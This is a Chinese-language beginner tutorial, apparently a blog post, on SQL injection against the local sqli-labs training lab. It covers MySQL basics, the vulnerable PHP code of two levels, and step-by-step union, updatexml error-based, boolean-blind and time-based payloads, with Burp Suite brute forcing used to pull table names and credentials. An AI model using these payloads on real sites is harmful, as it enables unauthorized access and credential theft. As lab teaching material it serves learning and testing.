首页 > 数据库 >SQL注入基础入门篇 注入思路及常见的SQL注入类型总结

SQL注入基础入门篇 注入思路及常见的SQL注入类型总结

时间:2024-12-07 20:28:02浏览次数:11  
标签:users SQL 查询 入门篇 sql where id select 注入

目录

前言

通过网盘分享的文件:phpstudy_pro.zip
链接: https://pan.baidu.com/s/1Ea_50Yh4XnAcMVjqkWCVgw?pwd=jacb 提取码: jacb
根目录中已有sql-labs靶场

一、了解mysql数据库

前置任务:下载phpstudy和sql-labs源码,搭建本地靶场sql-labs,在phpstudy中下载phpmyadmin。

1、了解sql增删改查

库操作:

mysql -u root-p输入密码登录数据库

show databases; 查看数据库

create database employes charset utf8; 创建数据库employees并选择字符集

drop database employees; 删除数据库employees

use employees; 选择进入数据库employees

表操作:

create table employee

(

**id int,**

name varchar(40),

sex char(4),

birthday data,

**job varchar(100)**

);

show full columns from employee; 查看数据表信息

select * from employee; 查看数据表列表

drop table employee; 删除数据表

rename table employee to user; 修改数据表名称为user

alter table user character set utf8; 修改字符级

数据列和数据行操作:

插入一行数据

INSERT into users

(

id,name,sex,birthday,job)

VALUES

(

**1,'ctfstu','male','1999-05-06','it')**

;

alter table user add salary decimal(0,2); 增加一列内容

update user set salary=5000; 修改所有工资为5000

update user set name=‘benben’ where id =1; 修改id=1的行name为benben

update user set name=‘benben2’,salary=3000 where id=1; 修改id=1的行name=benben2,工资为3000

alter table user drop salary; 删除列

delete from user where job=‘it’; 删除行

delete from user; 删除表

2、了解sql查询

select * from users where id = 1; select+列名(*代表所有)from+表名 where+条件语句

select * from users where id in(’3‘); 从users表格,查询所有包含id为3

select * from users where id=(select id from users where username=(‘admin’)); 子查询 优先执行()内查询语句

select id from users union select email_id from emails; union查询并合并数据显示

select * from users where id = 6 union select * from emails where id = 6;

ERROR: have a different number of columns 联合注入前后表格列数必须相等。

select * from users where id = 6 union select *,3 from emails where id = 6; #3为填充列。

group by 分组

select department,count(id) from student group by department; 查询departmet院系人数 count(id) 对ID进行计数

select * from users where id =9 group by 2; by2,4,8~~~依次排查到报错为止,从而确定列数(一般用二分法)

order by 默认按照升序排列

select stu_id from score shere c_name=‘计算机’ order by grade desc; grade参数desc使排列顺序变为降序

order by同group by一般用于判断数据表列数

limit 限制输出内容数量

select * from users limit 0,3; 限制为从第0行开始显示第3行

一般用于限数显示报错反馈信息

and和or

*select from student where sex=‘男’ and department=‘英语系’;

*select from student where sex=‘男’ or department=‘英语系’;

group_concat

select group_concat(username) from users; 多行合并为一行

select database(); 查看当前数据库名称

select version(); 查看当前数据库版本

二、sql注入基础

什么是注入:

通过构造一条精巧的语句,来查询到想要得到的信息。

注入分类:

按照查询字段分为字符型和数字型

按照注入方法分为Union注入,报错注入,布尔注入,时间注入等

如何判断是字符型注入还是数字型注入?

答:使用and 1=1和and 1=2来判断,数字型一般提交内容为数字,但数字不一定为数字型

eg:Less-1 提交and 1=1和提交and 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入

 Less-2**提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入**。

闭合方式: ’ " ') ") 其他

如何判断闭合方式:Less-1输入?id=1’,报错为near 1’多一个’,那么闭合符为’

闭合的作用:

手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可以用注释符号–+ ‘或’ # ‘或’ %23‘注释掉

tips:利用注释符号暂时将程序段脱离运行。把某段程序”注释掉“,就是让它暂时不运行(而非删除掉)。

union联合注入:

提交 ?id=1’ union select database()–+

?id=1’ group by 3 --+ 得知表的列数有三列

?id=1’ union select 1,2,3–+ 这条查询语句的结果应该有两行,但是一般网站只会回显一行。

?id =-1’ union select 1,2,3–+ 通过id=-1 使这条查询语句的结果为空,从而只回显剩下的一行。

?id =-1’ union select 1,2,database()–+ 通过上调指令得到的回显位,可以将3替换为我们想获取的信息database();

注入完成!

1.查找注入点

2.判断是字符型还是数字型注入 and1=1 1=2 / 3-1

3.如果是字符型,找到他的闭合方式, ‘ ” ‘) “)

4.判断查询列数,group by order by

5.查询回显位置,-1

aasdwasdwa

三、学习sql注入漏洞

1、union注入

这里我们以sqllab的第一关源码来学习sql注入:

<?php
//引入数据库连接,关闭错误报告
include("../sql-connections/sql-connect.php");
error_reporting(0);

//将输入的id值记录到日志文件
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

//构造sql查询
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);



//输出查询结果
	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

我们重点需要观察的是参数接收和构造sql查询这一块的语句:

参数接收:
$id=$_GET['id'];

构造sql查询:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

我们可以发现我们以get传参的方式传进去的id没有经过任何处理就被直接拼接到后端字符串中去,然后带入数据库执行充当执行语句。因此,这里存在sql注入漏洞。

接下来我们要做的就是准备进行攻击语句的构造:

1、判断数字型注入还是字符型型注入:

可以利用经典的and 1=1和 and 1=2来判断:

数字型:

select * from users where id =x and 1=1;
select * from users where id =x and 1=2;

第一条语句执行后,没有语法错误且页面返回正常。第二条语句执行后,没有语法错误但页面返回错误。

字符型:

select * from users where id='x' and '1'='1'
select * from users where id='x' and '1'='2'

第一条语句执行后,没有语法错误且页面返回正常。第二条语句执行后,没有语法错误但页面返回错误。

在这里插入图片描述

在这里插入图片描述

这里不管输入1 and 1=1还是1 and 1=2页面都是返回正常,说明是字符型注入,因为id永远等于’xxxx‘,所以逻辑判断永远无法生效,自然无法返回错误。

2、判断闭合方式(字符型注入):

闭合方式: ’ " ') ") 其他

确定是字符型注入以后,使用上面的多种闭合方式一个一个去闭合,如果没有报语法错误说明闭合符被mysql强制转成合法数据类型,如果报了语法错误,说明当前sql语句拼接参数的符号就是当前闭合符:

在这里插入图片描述

因此,此处闭合符为单引号。

3、判断回显位

通过id=1’ order by x–+来判断属性的列数有几个(x个),原理是按第几列升序排序,当x小于等于总列数时,不会报错,当x大于总列数时会报错。

在这里插入图片描述

这里发现当x等于4时,第一次报错,因此这里的列数为3,接下来我们要找到3列的属性列当中有多少是可以回显出查询结果的,于是我们使用sql查询语句:

url?id=-1' union select 1,2,3 --+

在这里插入图片描述

这里将id置为-1,使sql查询结果完全由union后面的语句所控制,这里发现屏幕上回显出了2和3,说明这里的回显是2和3,那么接下来我们就只需要将查询语句中的2和3替换为我们所需要查询的数据即可。

4、查询库名,表名,字段名

url?id=-1' union select 1,database(),3 --+    查询库名

在这里插入图片描述

url?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+  查询表名

在这里插入图片描述

url?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+   查询列名

在这里插入图片描述

url?id=-1' union select 1,2,group_concat(username,'~',password) from users --+  查询关键字段

在这里插入图片描述

至此,拿到了我们想要的数据库信息。

2、报错注入

报错注入的原理基于的是数据库在遇到错误语句时,会返回详细的错误信息。这些错误信息中可能包含数据库的敏感信息或者可用于推断数据库结构的信息,从而为攻击者提供进一步的注入利用可能。

这里以updatexml报错来举例实验:

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数:XML_document是string格式,为XML文档格式对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到的符合条件的数据

updatexml报错原理: 第二个参数与路径有关,我们可以输入书写不规范的路径,故意让他报错,而它的报错信息里刚好泄露了我们所需要的敏感信息。

案例:less-6:

<?php

include("../sql-connections/sql-connect.php");
error_reporting(0);

if(isset($_GET['id']))
{
$id=$_GET['id'];

$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{

	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";
	echo '<font color= "#0000ff" font size= 3>';

	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

存在print_r(mysql_error());说明有报错回显,因此可以尝试使用报错注入。

?id=1" and 1=updatexml(1,concat('~',(select database())),1)--+   查询数据库

在这里插入图片描述

url?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+ 查询表

在这里插入图片描述

url?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)--+  查询列名

在这里插入图片描述

?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,'~',password),1,30) from users)),1)--+  查询关键字段

在这里插入图片描述

3、布尔盲注

盲注条件:存在注入点时,无论查询语句的正确还是错误,均不会产生回显。但是可以明显看出语句正确与否会导致对应页面的不同状态。

案例:less-8:
在这里插入图片描述

在这里插入图片描述

这种情况一般就是盲注了,这里我们要用到一个关键函数:

ascii()函数: ascii美国信息交换标准代码,可以把字母转换为对应数字。ascall值,A-Z是65-90,a-z是97-122。

原理:利用如下语句和页面的对错回显得出正确的字符信息

?id=1’ and ascii(substr((select databse()),1,1))>=120–+通过二分法来得出第一个字符的ascall值

?id=1’ and ascii(substr((select databse()),2,1))>=120–+通过二分法来得出第二个字符的ascall值

这里,我们使用burpsuite进行爆破猜解:

首先,需要爆破出数据库名的正确长度,先构造如下语句,再利用burpsuite抓包:

url?id=1' and if(length(database())=6,1,0)--+

在数字6的地方添加$符号:

在这里插入图片描述

在这里插入图片描述

利用burpsuite爆破,直接状态码和返回包的长度,发现数字为8时,长度与其他的返回请求不一样,并且渲染页面为true,所以数据库名长度为8。

接下来我们爆破具体的数据库名,先构造如下语句,再利用burpsuite抓包:

url?id=1' and if(substring(database(),1,1)='a',1,0)--+

这里要爆破两个参数,因此攻击模式选择cluster bomb:

在这里插入图片描述

因为数据库名长度为8,所以我们爆破的时候第一个参数爆破的范围为1-8。

在这里插入图片描述

第二个参数的范围为a-z,A-Z,0-9。

在这里插入图片描述

最终返回了16个正确字符,因为mysql不区分大小写,所以数据库名长度仍是8,数据库名为security。

在这里插入图片描述

之后的表名,列名与关键字段的获得操作与上面一致,不过多赘述。

4、时间盲注

案例:less-5

前提: 没有回显,没有报错,没有真假值,数据库会执行命令代码,只是不反馈页面信息。

关键函数:

函数sleep()参数为休眠时长,以秒为单位,可以为小数

select sleep(2);

函数if(condition,true,false) condition为条件,true当条件为真时返回的值,false当条件为假时返回的值。

select if(1=1,sleep(0),sleep(3)); 1=1为真,执行休眠0秒

?id=1’ and if(ascii(substr((select database()),1,1))<=110,sleep(0),sleep(3)) --+; 更改substr参数推算第一个字母,并以此推算剩余字母,直到得出结果。

替换入需要查询的命令语句即可

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=110,sleep(0),sleep(3)) --+

时间盲注闭合符的判断

?id=1 and sleep(2) --+

?id=1’ and sleep(2) --+

?id=1" and sleep(2) --+

?id=1’) and sleep(2) --+

这里,我们使用burpsuite进行爆破猜解:

首先,需要爆破出数据库名的正确长度,先构造如下语句,再利用burpsuite抓包:

?id=1' and if(length(database())=2,sleep(3),0) --+

在数字3的地方添加$符号,爆破结果如下:

在这里插入图片描述

正常的响应大约是1s,长度为8时,耗时4056ms,大约4s,即加上了sleep延时的3s,因此数据库长度为8。

接下来我们爆破具体的数据库名,先构造如下语句,再利用burpsuite抓包:

url?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+ 

在第一个1处添加 符号,在 a 处添加 符号,在a处添加 符号,在a处添加符号,第一个参数的爆破范围为1-8,第二个参数的爆破范围为a-z,A-Z,0-9,开始爆破!!!

在这里插入图片描述
最终返回了16个正确字符,因为mysql不区分大小写,所以数据库名长度仍是8,数据库名为security。

之后的表名,列名与关键字段的获得操作与上面一致,不过多赘述。

标签:users,SQL,查询,入门篇,sql,where,id,select,注入
From: https://blog.csdn.net/2301_80976241/article/details/144315810

相关文章

  • SQL注入分类
    基本型:数字型、字符型、搜索型、xx型数字型注入打开抓包工具,点击代理,开启拦截,抓包再返回漏洞练习平台,点击查询其对应的后台代码为,在虚拟机中打开发现$id后没有单引号,即为数字型注入(不需要闭合引号)字符型注入xx后有引号,与前面的引号形成闭合,即字符型注入搜索型注......
  • SQL注入之万能密码
    一、什么是万能账号密码我们平时登录账号时,如果是第一次登录,系统会提示我们注册账号,并将我们注册的账号和密码保存到数据库中。当我们再次登录时,系统会将我们输入的账号和密码和数据库中的数据进行匹配,匹配成功能登录。这就意味着我们需要知道一个已经注册过并且正确的账号和密码......
  • 【mybatis】动态SQL
    目录一、动态SQL的简述二、动态sql的使用1.标签---(注意:username和sex必须一个为空)2.--标签3.、标签--用来组装update语句4.、和标签5.标签①、用trim改写上面第二点的if+where语句 ②、用trim改写上面第三点的if+set 语句6.标签①:批量删除 ②......
  • CMU_15445_P3_SQL表达式
    Project3中主要讲述的是SQL语言的QueryExecutor过程,实际步骤中包含QueryOptimization的过程,下图是一个Query在数据库中Execute的整体流程.我们可以看到在步骤4,5,6中SQL语言都是以LogicalPlan的形式表示的,在代码实现中,而Logical_Plan还需要依赖表达式作......
  • sql语句中限制一定数量行的实现
    在不同的数据库中,限制查询结果行数的实现方法各不相同。本文将介绍几种常见数据库的实现方式。1.SQLServer或Access在SQLServer或Access中,可以使用TOP关键字来限制返回的行数。示例如下:selectTOP5prod_namefromProducts这将返回Products表中的前5行数据。2......
  • SEEDLab —— SQL 注入攻击实验
    【软件安全】实验3SQL注入攻击实验目录【软件安全】实验3SQL注入攻击实验环境设置修改映射构建并启动dockerTask1:熟悉SQL语句进入容器shell并使用mysql客户端与数据库进行交互加载数据库并打印数据库中的所有表使用命令打印员工Alice的所有资料信息Task2:基于SELECT语......
  • 解析JDBC使用查询MySQL【非流式、流式、游标】
    解析JDBC使用游标查询MySQL使用jdbc查询MySQL数据库,如果使用游标或者流式查询的话,则可以有效解决OOM的问题,否则MySQL驱动就会把数据集全部查询出来加载到内存里面,这样在大数据的情况下会OOM的不同的查询方式ResultsetRows的实现是不一样的!!!流式查询【每次只取一条】流式查......
  • MySQL语句学习第三篇_数据库
    MySQL语句学习第三篇_数据库专栏记录MySQL的学习,感谢大家观看。本章的专栏......
  • mssql靶场-手工注入(第一关)
    Mssql数据库相⽐mysql数据库本质上的框架是差不多的,使⽤的增,删,改,查命令是互相通的,但是Mysql中使⽤的函数在mssql中有些会起不到作⽤点。SQLSERVER--->MSSQL--14331.MSSQL中⾃带数据库信息2.MSSQL系统视图表(MSSQL数据库与MYSQL数据库⼀样,⾃带数据表sysobjects和sysco......
  • 第69篇 DI依赖注入
    1.相关基本概念1.1类和对象类是一个静态的概念,类本身不携带任何数据。当没有为类创建任何对象时,类本身不存在于内存空间中。new实例化的过程声明引用;使用new关键字创建类的对象并对其初始化;(分配内存空间)将引用指向类的对象。解除依赖的思想是如何产生的?(1)原始社会里,没......